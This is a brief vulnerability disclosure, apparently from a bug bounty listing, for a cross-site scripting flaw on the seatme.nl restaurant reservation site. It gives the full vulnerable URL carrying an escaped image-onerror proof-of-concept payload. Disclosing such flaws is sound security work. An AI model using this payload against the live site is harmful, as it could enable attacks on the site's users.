seatme.nl XSS vulnerability

Vulnerable URL: https://www.seatme.nl/directreserveren/zoekrestaurants.htm?fhlocation=//seatme/nlNL/date20161025;30000101/numpersonsa2/mammam1110;mam1140;mam1170;mam1200;mam1230;mam1260;mam1/$s=\u003Cimg\u0020src\u003Dx\u0020onerror\u003Dprompt\u0028\u0027OPENBUGBOUNTY\u0027\u0029\u003E Details:...